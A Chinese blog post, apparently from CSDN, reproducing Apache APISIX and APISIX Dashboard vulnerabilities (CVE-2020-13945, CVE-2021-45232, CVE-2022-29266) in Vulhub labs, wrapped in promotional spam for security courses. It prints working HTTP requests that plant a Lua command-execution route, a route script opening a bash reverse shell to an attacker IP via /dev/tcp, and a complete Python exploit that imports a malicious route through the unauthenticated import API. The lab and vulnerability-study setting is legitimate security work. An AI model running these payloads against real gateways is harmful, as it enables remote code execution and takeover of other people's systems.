2024年网络安全最新Apache Apisix网关系统历史漏洞复现分析_apache apisix 漏洞(4),2024年最新校园网络安全面试题

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
“uri”: “/attack”,
“script”: “local _M = {} \n function _M.access(conf, ctx) \n local os = require(‘os’)\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, ‘r’))\n local s = assert(f:read(‘*a’))\n ngx.say(s)\n f:close() \n end \nreturn _M”,
“upstream”: {
“type”: “roundrobin”,
“nodes”: {
“example.com:80”: 1
}
}
}


![imagepng](https://img-blog.csdnimg.cn/img_convert/13df7398411d503beb6a277b133b9971.png)  
 然后,我们访问刚才添加的 router,就可以通过 cmd 参数执行任意命令:<http://your-ip:9080/attack?cmd=id>  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/7eeac1b038bee4a5819e6cd58236fb1d.png)  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/2a4470fa642aced9d43ec729f1e21a3c.png)  
 【其他管理接口】


Admin API ([https://apisix.apache.org/zh/docs/apisix/admin-api]( ))是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力,资源配置完成后 APISIX 将会自动更新配置,无需重启服务。


以“获取资源列表”的接口 /apisix/admin/consumers 为例:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/2579353b5d75845d8682672faa848e75.png)  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/c1085db8d10d5a543f4aa0381db5e21d.png)


## CVE-2021-45232未授权接口


Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API:`/apisix/admin/migrate/export` 和 `/apisix/admin/migrate/import`,它们没有经过 droplet 框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让 Apache APISIX 访问任意网站,甚至执行 LUA 脚本。


继续使用 Vulhub 一键搭建靶场环境:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/fa6a8d5912a6de24ec3997cdb1707036.png)  
 然后访问 <http://your-ip:9000/> 即可看到 Apache APISIX Dashboard 的登录页面:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/79c3f6684e30bb85a13daa222c758e62.png)


### 2.1 默认账户密码导致RCE


官方默认登录账户密码 admin/admin(Vulhub 镜像的密码为 vulhub):  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/967271ce94caad4aa7fe2a405aca754c.png)  
 其实实战中如果没有敏感接口的未授权访问漏洞的话,是可以通过弱密码登录后台进行 RCE 的,接下来先看看进入后台后如何完成 RCE。


1、 先创建任意名称的上游服务,请注意目标节点信息后面触发 RCE 会用到:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/eb15dfb7744d2f0502f4081cfb47b7a2.png)  
 2、 接着创建路由,把选择上游服务选择为上面的创造的上游:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/04efebda4c374121d0f0697577c3c847.png)  
 3、访问上述创建的路由,通过“查看”修改配置,添加反弹 Shell 的 Lua Script:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/c82624a8fd40339860461c41f917dda6.png)  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/e9087f197197eab8d8b3fbe24129aad1.png)  
 提交修改请求(API 接口参数释义请参见:<https://apisix.apache.org/zh/docs/apisix/admin-api/#route>),数据包如下:



PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close

{“uri”:“/*”,“name”:“rce”,“methods”:[“GET”,“POST”,“PUT”,“DELETE”,“PATCH”,“HEAD”,“OPTIONS”,“CONNECT”,“TRACE”],“script”:“os.execute(‘/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1’)”,“upstream_id”:“501154557745693377”,“status”:1}


4、接着访问:[http://127.0.0.1:9080/rce]( ),即可触发命令执行实现 RCE:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/b3533866d8d8e5c79c54e162e9c44282.png)  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/43583b72c2722de312ed3fef78aed487.png)  
 【More】创建路由时并非强制选择上游服务,故上述创建上游服务的步骤也可以直接忽略,直接创建路由并指定一个有效的目标节点(主机名+有效业务端口)接口,比如:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/0d92ae49e6bd91afa7a5f58027c6f5b2.png)


### 2.2 未授权访问api接口RCE



> 
> 此漏洞的鉴权缺陷源码分析可参见:<https://xz.aliyun.com/t/10732>。
> 
> 
> 


那如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件,一个是用来导入配置文件的。


我们可以使用 /apisix/admin/migrate/export 直接导出配置文件,删除 Authorization 字段后发现是可以正常未授权访问的:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/76c92ac097c28ab05c9f44dd4f1436b8.png)  
 接下来利用另一个接口导入恶意配置即可实现 RCE,但是从上面导出的配置数据可以看到,后面多出四个字节,这 4 个字节其实是配置文件的 checksum 值,在导入配置文件时,也会对配置文件的 checksum 值进行校验,那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。


简单起见,直接利用 Github 现成的 POC 验证程序即可:<https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py>



#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning

Suppress only the single warning from urllib3 needed.

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

eval_config = {
“Counsumers”: [],
“Routes”: [
{
“id”: str(random.randint(100000000000000000, 1000000000000000000)),
“create_time”: 1640674554,
“update_time”: 1640677637,
“uris”: [
“/rce”
],
“name”: “rce”,
“methods”: [
“GET”,
“POST”,
“PUT”,
“DELETE”,
“PATCH”,
“HEAD”,
“OPTIONS”,
“CONNECT”,
“TRACE”
],
“script”: “local file = io.popen(ngx.req.get_headers()[‘cmd’],‘r’) \n local output = file:read(‘*all’) \n file:close() \n ngx.say(output)”,
“status”: 1
}
],
“Services”: [],
“SSLs”: [],
“Upstreams”: [],
“Scripts”: [],
“GlobalPlugins”: [],
“PluginConfigs”: []
}

def random_str():
return ‘’.join(random.choices(string.ascii_letters + string.digits, k=6))

def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder=“big”)

def export_data(url):
r = requests.get(url + “/apisix/admin/migrate/export”, verify=False)
return r.text[:-4]

def import_data(url, data):
data = json.dumps(data).encode()
crc32 = calc_crc(data)

files = {"file": ("data", data + crc32, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
# print(resp.text)
if resp.json().get("code", -1) == 0:
    return True
else:
    return False

if name == “__main__”:
if len(sys.argv) != 2:
print(“python " + sys.argv[0] + " http://127.0.0.1:9000”)
exit()

url = sys.argv[1]
if url.endswith("/"):
    url = url[:-1]

uri = random_str()
eval_config["Routes"][0]["uris"] = [ "/" + uri]
eval_config["Routes"][0]["name"] = uri

if import_data(url, eval_config):
    print("attack success")
    print("uri is: " + "/" + uri)
else:
    print("attack error")

脚本攻击效果演示如下(注意执行命令时应更换为 9080 端口):  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/2bf365d946aeaf701d6ab2a03620b86f.png)  
 回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/53dd00c7e23b01a25b8adc33b571648b.png)


## CVE-2022-24112 地址限制绕过


官方发布的漏洞信息:<https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/>。  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/abf92e9baa38a35ea55304f837237e9d.png)  
 此漏洞相对比较鸡肋,主要是用于绕过 IP 地址访问限制,漏洞利用条件是目标系统使用了默认的 Admin Key(即 CVE-2020-13945 中的 X-API-KEY),此处暂不复现。


参考文章:


1. [CVE-2022-24112 Apache APISIX 远程代码执行漏洞]( );
2. [CVE-2022-24112:Apache APISIX 命令执行漏洞 - 华盟学院]( );
3. <https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py>;


## CVE-2022-29266 JWT令牌伪造


在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret,进而伪造有效的 JWT 会话凭证来非法访问 API 接口。



> 
> 漏洞分析参考文章:《[APISIX CVE-2022-29266 漏洞分析与复现 |TeamsSix]( )》、《[CVE-2022-29266 Apache Apisix jwt-auth插件 密钥泄漏]( )》。
> 
> 
> 


### 4.1 漏洞源码简析与修复


通过 Apache 官方提交的修复记录 <https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed> 可以看到此漏洞的问题点:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/30ae6cfc867e4095da4c18e5b64dd6c9.png)  
 修改代码将 401 返回的附加信息 jwt\_obj.reason 删除,变更为本地日志打印。可以在 lua-resty-jwt 库(<https://github.com/SkyLothar/lua-resty-jwt>)中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt\_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/a17a050913a48c6247b9aaba8660712d.png)  
 此处借用 TeamsSix 的分析总结,漏洞利用的前提有以下三个:


* APISIX 需要开启 jwt-auth 插件;
* jwt-auth 插件算法需要是 HS256 或者 HS512;
* secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串;


如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。


### 4.2 漏洞环境搭建与复现


漏洞复现沿用上文 CVE-2021-45232 的 Vulhub 靶场环境即可,APISIX 版本为 2.9,符合漏洞条件。  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/2c3350b13ecc4f6608c0af8cf5b8b676.png)



> 
> 此漏洞涉及 JWT 令牌的相关知识,不熟悉 JWT 基础安全知识的话请参见《[Web安全-JWT认证机制安全性浅析]( )》,关于 JWT 密钥泄露的类似 CVE 漏洞也可参见《[Nacos系统历史CVE漏洞的复现分析与检测]( )》中的“QVD-2023-6271默认密钥”章节。
> 
> 
> 


一键搭建完 Vulhub 的漏洞环境后,进入 dashboard 创建消费者,启用 jwt-auth 认证机制:



> 
> Consumer(也称之为消费者)是指使用 API 的应用或开发人员。在 APISIX 中,消费者需要一个全局唯一的 *名称*,并从上面的列表中选择一个身份验证 *插件*。
> 
> 
> 


![imagepng](https://img-blog.csdnimg.cn/img_convert/26e952f897dde1aae8c5be075d11ee48.png)  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/28603766c791c32388bdcd8ca817dce4.png)  
 将 `{ "key": "tr0e", "secret": "passwd123456789" }` 填写到编辑器里,值的话可以随便写,算法的默认配置是 HS256 。  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/8f2fcfef17696b2642a72de2f71d0a2b.png)  
 创建完消费者 tr0e 以后,开始创建路由:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/43145a08e05f6a28a91584750676ce00.png)  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/e686eef5cd4840dc8c00d3dc9049571d.png)  
 同样需要启用 jwt-auth 插件:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/e842dc47d9785243ad1b9bc7e6201580.png)  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/3a67af34965285280113126d38d119cb.png)  
 提交并完成路由配置:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/1408c2452515838d4cefe5e90386a751.png)  
 【验证 JWT 插件】


从官方指导文档:<https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/> 可了解到,启用了 jwt-auth 插件后,会增加 /apisix/plugin/jwt/sign 这个接口。在命令行输入以下命令,参数 key 的值就是刚刚在创建 consumer 时配置的 key 值,通过访问这个 api 即可获取到 JWT 认证凭据:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/490701f4a0ddeec830fd0012492ac818.png)  
 携带获得的 JWT 凭据发起对应配置的 `/tr0e666` 路由的请求,未返回 401 即代表鉴权成功:  
 ![imagepng](https://img-blog.csdnimg.cn/img_convert/c776b30eeb9d102302667d9322adc08d.png)  
 将此接口返回的 JWT 凭证作下解码可以看到 Payload 信息,其中 exp 是 JWT 的有效时间限制:  



还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


😝朋友们如果有需要的话,可以联系领取~

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)


#### 2️⃣视频配套工具&国内外网安书籍、文档


##### ① 工具


![](https://img-blog.csdnimg.cn/img_convert/d3f08d9a26927e48b1332a38401b3369.png#pic_center)


##### ② 视频


![image1](https://img-blog.csdnimg.cn/img_convert/f18acc028dc224b7ace77f2e260ba222.png#pic_center)


##### ③ 书籍


![image2](https://img-blog.csdnimg.cn/img_convert/769b7e13b39771b3a6e4397753dab12e.png#pic_center)

资源较为敏感,未展示全面,需要的最下面获取

![在这里插入图片描述](https://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)


##### ② 简历模板


![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)

 **因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆**




**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 29
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值